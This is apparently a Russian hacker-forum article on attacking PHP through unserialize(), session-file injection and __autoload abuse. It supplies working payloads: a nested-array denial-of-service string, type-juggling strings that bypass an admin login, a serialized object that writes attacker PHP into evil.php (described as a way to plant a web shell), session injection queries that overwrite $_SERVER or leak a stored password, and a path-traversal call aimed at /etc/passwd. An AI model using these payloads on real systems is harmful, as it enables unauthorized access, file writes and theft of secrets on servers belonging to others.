==[-1]== Введение
Изначально писал для себя, как небольшой сборник полезных идей, в итоге вылилось вот в такую статью. Особого опыта в написании публикаций у меня нет, так что ногами не пинать, я старался

Перед переходом к практическим примерам рассмотрим теоретически основы используемых функций.
==[0]== Магические методы
__construct
Выполняется при каждом создании экземпляра объекта. Если PHP не может обнаружить объявленный метод __construct(), вызов конструктора произойдет по прежней схеме, через обращение к методу, имя которого соответствует имени класса.
__destruct
Выполняется при удалении всех ссылок на объект, при явном удалении объекта или по завершению работы. (При этом стоит обратить внимание вот на эту тему
https://rdot.org/forum/showthread.php?t=791)
__call
Выполняется при вызове несуществующего в классе метода.
__callStatic (PHP 5.3.0)
Выполняется при вызове несуществующего в классе метода в статическом контексте.
__get
Получение значения несуществующего (либо недоступного из-за модификатора private/protected) свойства объекта.
__set
Установка значения несуществующего или недоступного свойства объекта.
__isset (PHP 5.1.0)
Выполняется при проверке с помощью isset() или empty() несуществующего или недоступного свойства объекта.
__unset (PHP 5.1.0)
Выполняется, когда функция unset() применяется на несуществующее или недоступное свойство объекта.
__sleep
Выполняется внутри функции serialize и определяет какие члены объекта необходимо сохранить.
__wakeup
Выполняется при десериализации.
__toString
В PHP меньше 5.2.0 выполняется только в комбинации с echo() или print().
Начиная с PHP 5.2.0 выполняется в любом строковом контексте.
__invoke (PHP 5.3.0)
Выполняется, когда скрипт пытается вызвать объект, как функцию.
__set_state (PHP 5.1.0)
Этот статический метод вызывается для тех классов, которые экспортируются функцией var_export()
__clone
Метод выполняется при клонировании объекта с помощью clone.
==[1]== Сериализация / десериализация
Сериализация — процесс перевода какой-либо структуры данных в последовательность битов.
Обратной к операции сериализации является операция десериализации — восстановление начального состояния структуры данных из битовой последовательности.
Рассмотрим, как выглядят данные в сериализованном виде
null
boolean
Код:
b:1;
[тип]:[значение];
integer
Код:
i:66;
[тип]:[значение];
float /
double
Код:
d:1.2339;
d:NAN;
d:-INF;
[тип]:[значение];
string
Код:
s:3:"ABC";
[тип]:[длинна_строки]:[значение];
String
Код:
S:3:"A\FFC";
[тип]:[длинна_строки]:[значение];
Отличае S от s в том, что при S символы можно задавать в виде \XX (X == [0-9a-fA-F])
array
Код:
a:1:{...};
[тип]:[количество_элементов]:{[индекс];[элемент];}
Индекс может быть строкой или целым числом. Если указать несколько одинаковых индексов, то, соответственно, запишется последний.
object (stdClass)
Код:
o:1:"i:0;s:3:"ABC";}
[тип]:[количество_элементов]:"[индекс];[значение];}
Object
Код:
O:9:"testClass":3:{}
[тип]:[длина_названия]:[название]:[количество_полей]:{[название_поля];[значение];}
На полях объекта нужно остановиться отдельно, так как формат записи меняется в зависимости от модификатора доступа.
Пример
PHP код:
class a {
private $var2 = 'v2';
}
class b extends a {
public $var4 = 'v4';
private $var5 = 'v5';
protected $var6 = 'v7';
}
echo serialize(new b());
Код:
O:1:"b":4:{s:4:"var4";s:2:"v4";s:7:"\0b\0var5";s:2:"v5";s:7:"\0*\0var6";s:2:"v7";s:7:"\0a\0var2";s:2:"v2";}
Особенность в том, что private поле записывается с указанием названия класса обрамленного нулл-байтами, а protected начинается с "\0*\0".
Сериализуемый Class (реализует интерфейс Serializable)
Код:
C:9:"testClass":4:{i:1;}
[тип]:[длина_названия]:[название]:[длина_сериализованных_данных]:{[сериализованные_данные]}
В результате десериализации такого класса произойдет вызов функции unserialize, которую класс должен реализовывать.
Копирование элемента
Ссылка на элемент
Нумеруются они примерно так:
И пример, показывающий отличие r от R:
PHP код:
$a = unserialize('a:2:{i:0;i:666;i:1;r:2;}');
var_dump($a); //array(2) { [0]=> int(666) [1]=> int(666) }
$a[0] = 999;
var_dump($a); //array(2) { [0]=> int(999) [1]=> int(666) }
$a = unserialize('a:2:{i:0;i:666;i:1;R:2;}');
var_dump($a); //array(2) { [0]=> &int(666) [1]=> &int(666) }
$a[0] = 999;
var_dump($a); //array(2) { [0]=> &int(999) [1]=> &int(999) }
Рассмотрим несколько примеров использования десериализации в своих целях от Эссера
1) DoS
Код:
a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:{a:1:...
Ну здесь какие-либо комментарии излишни
2)
PHP код:
$data = unserialize($autologin);
if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
$admin = true;
} else {
$admin = false;
}
В PHP существует 2 типа сравнения: Identical (===) и Equal (==).
Identical возвращает TRUE, если переменные эквивалентны и имеют одинаковый тип, а Equal - достаточно просто эвивалентности.
При сравнении переменных различных типов руководствуемся этой таблицей:
http://www.php.net/manual/en/types.comparisons.php
Соответственно, поместив в $data['username'] и $data['password'] boolean(true), либо integer(0) условие выполнится и мы станем админом.
Эксплуатация:
Код:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
a:2:{s:8:"username";i:0;s:8:"password";i:0;}
3) Пример из статьи "PHP и волшебные методы: сериализация PHP-объектов глазами хакера"
PHP код:
class testClass
{
protected $log_file='log'; //файл логов
private $path = './'; //путь к файлу логов
var $log_dump; //содержимое лога
function __destruct()
{
$f = fopen($this->path.$this->log_file.'.txt','w');
fwrite($f,$this->log_dump);
fclose($f);
}
}
$test = new testClass();
$test->log_dump = time();
unset($test);
unserialize($_GET['c']);
Отправив на десериализацию такой объект testClass
Код:
O:9:"testClass":3:{s:11:"\0*\0log_file";s:9:"evil.php\0";s:15:"\0testClass\0path";s:2:"./";s:8:"log_dump";s:16:"<? phpinfo(); ?>";}
Мы получим выполнение методов __wakeup и __destruct с нашими переопределенными полями (log_file = evil.php\0, log_dump = <? phpinfo(); ?>).
Ну и исходя из кода, мы, вместо безобидного лога, можем создать веб-шелл.
==[2]== Сессии
Итак, пришло время перейти к самой интересной части статьи, а именно к инъекциям в сессию.
И снова нужно немного теории, рассмотрим, что представляют из себя файлы сессии.
Код:
test|s:3:"aaa";lol|b:1;
Все довольно примитивно, массив записывается в виде
Код:
[индекс][разделитель_"|"][сериализованное_значение]
Если в индексе присутствует разделитель "|", то файл сессии обнуляется.
Но если покопаться в исходном коде php, то можно найти еще один вариант записи для "неопределенных" переменных:
Код:
[!][индекс][разделитель_"|"]
Причем наличие символа "!" в индексе не проверяется при записи сессии в файл!
На этом и основана уязвимость, найденная Стефаном Эссером
"PHP Session Serializer Session Data Injection Vulnerability"
Уязвимые версии:
PHP 5.2 <= 5.2.13
PHP 5.3 <= 5.3.2
Допустим, мы имеем следующий код:
PHP код:
session_start();
$_SESSION[$_GET['prefix'] . 'blah'] = $_GET['data'];
Обратившись к скрипту ?prefix=!&data=|xxx|b:1; в файле сессии мы получим следующее:
Код:
!blah|s:9:"|xxx|b:1;";
При считывании из сессии эта запись будет интерпретирована как:
1) неопределенная переменная blah
2) косячная переменная
s:9:" без значения
3)
переменная xxx с нужным нам содержимым
4) и в конце символы
";, которые не считаются
Причем мы можем не только определять нужные нам переменные сессии, но и использовать все возможности десериализации, описанные выше.
Необходимо заметить, что если внести в сессию объект, то при каждом обновлении страницы у нас будет происходить чтение сессии из файла (выполнение __wakeup для объекта) и в конце запись этого объекта назад в файл (выполнение __sleep и __destruct).
Так же, при
register_globals = On можно занести в сессию значение любой переменной!
PHP код:
$cfg['password']="my super password";
session_start();
if(isset($_GET['prefix']))
$_SESSION[$_GET['prefix']]=$_GET['data'];
Запрос:
Код:
test.php?prefix=!&data=|cfg|
В результате, после обновления страницы, в файле сессии мы получим следущее:
Код:
cfg|a:1:{s:8:"password";s:17:"my super password";}
Либо, можно использовать даже такой код:
PHP код:
$_SESSION[$_GET['prefix']] = "ololo";
Обратившись таким образом, мы опять же получим значение переменной в сессии
Код:
test.php?prefix=!_SERVER
Так как в файл сессии запишется
Код:
!_SERVER|s:5:"ololo";
И при считывании
s:5:"ololo"; отбросится и в нашу сессию запишется значение массива _SERVER
Плюс ко всему прочему, возможна перезапись переменных через сессии (опять же при
register_globals = On). Примеры аналогичны предыдущим, только с указанием значения переменных.
PHP код:
$_SESSION[$_GET['prefix']]=$_GET['data'];
echo $_SERVER['REMOTE_ADDR'];
Варианты запроса для перезаписи:
Код:
test.php?prefix=_SERVER&data[REMOTE_ADDR]=omgwtf
test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:6:"omgwtf";}
При этом не стоит забывать, что перезаписывается весь массив _SERVER
Еще вариант попадания данных в сессию от Эссера
PHP код:
$_SESSION = array_merge($_SESSION, $_POST);
Так же не стоит забывать, что если мы имеем перезапись переменных, стоящую после session_start();
Пример:
PHP код:
session_start();
...
foreach ($_POST as $k => $v) {
$$k = $v;
}
То перезаписав массив _SESSION мы опять же можем использовать все возможности десериализации и инъекций в сессию.
==[3]== Еще немного магии
Так как при объектно-ориентированном программировании для каждого класса создается отдельный php файл, в начале каждого скрипта приходится писать огромные листинги с инклюдом всех используемых классов. Дабы избавить программистов от этого, в php есть функция __autoload, которая автоматически вызывается при работе с необъявленным классом, ну и в соответствии с названием, ее цель подгрузить нужный нам класс.
Рассмотрим пример из документации:
PHP код:
function __autoload($class_name) {
require_once $class_name . '.php';
}
Если мы можем переопределить любую переменную, которая используется в функции в качестве названия класса, то в зависимости от реализации __autoload у нас получится LFI или RFI
Код:
call_user_func(array("../../../etc/passwd\0","test"));
get_parent_class("http://google.ru\0");
В этом примере очень хотелось прикрутить десериализацию объекта с названием "../../../etc/passwd", но, к сожалению, он получился не рабочим, так как при десериализации проверяются валидные символы в названии класса:
Код:
len3 = strspn(class_name, "0123456789_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\177\200\201\202\203\204\205\206\207\210\211\212\213\214\215\216\217\220\221\222\223\224\225\226\227\230\231\232\233\234\235\236\237\240\241\242\243\244\245\246\247\250\251\252\253\254\255\256\257\260\261\262\263\264\265\266\267\270\271\272\273\274\275\276\277\300\301\302\303\304\305\306\307\310\311\312\313\314\315\316\317\320\321\322\323\324\325\326\327\330\331\332\333\334\335\336\337\340\341\342\343\344\345\346\347\350\351\352\353\354\355\356\357\360\361\362\363\364\365\366\367\370\371\372\373\374\375\376\377\\");
if (len3 != len)
{
*p = YYCURSOR + len3 - len;
return 0;
}
Но, тем не менее, мы можем заинклюдить файл из той же папки, что и наш скрипт.
Код:
unserialize('O:4:"test":0:{};"');
Warning: require_once(test.php) [function.require-once]: failed to open stream
==[4]== Спасибки
Stefan Esser, M4g, d0znpp
За основу была взята статья
"PHP и волшебные методы: сериализация PHP-объектов глазами хакера"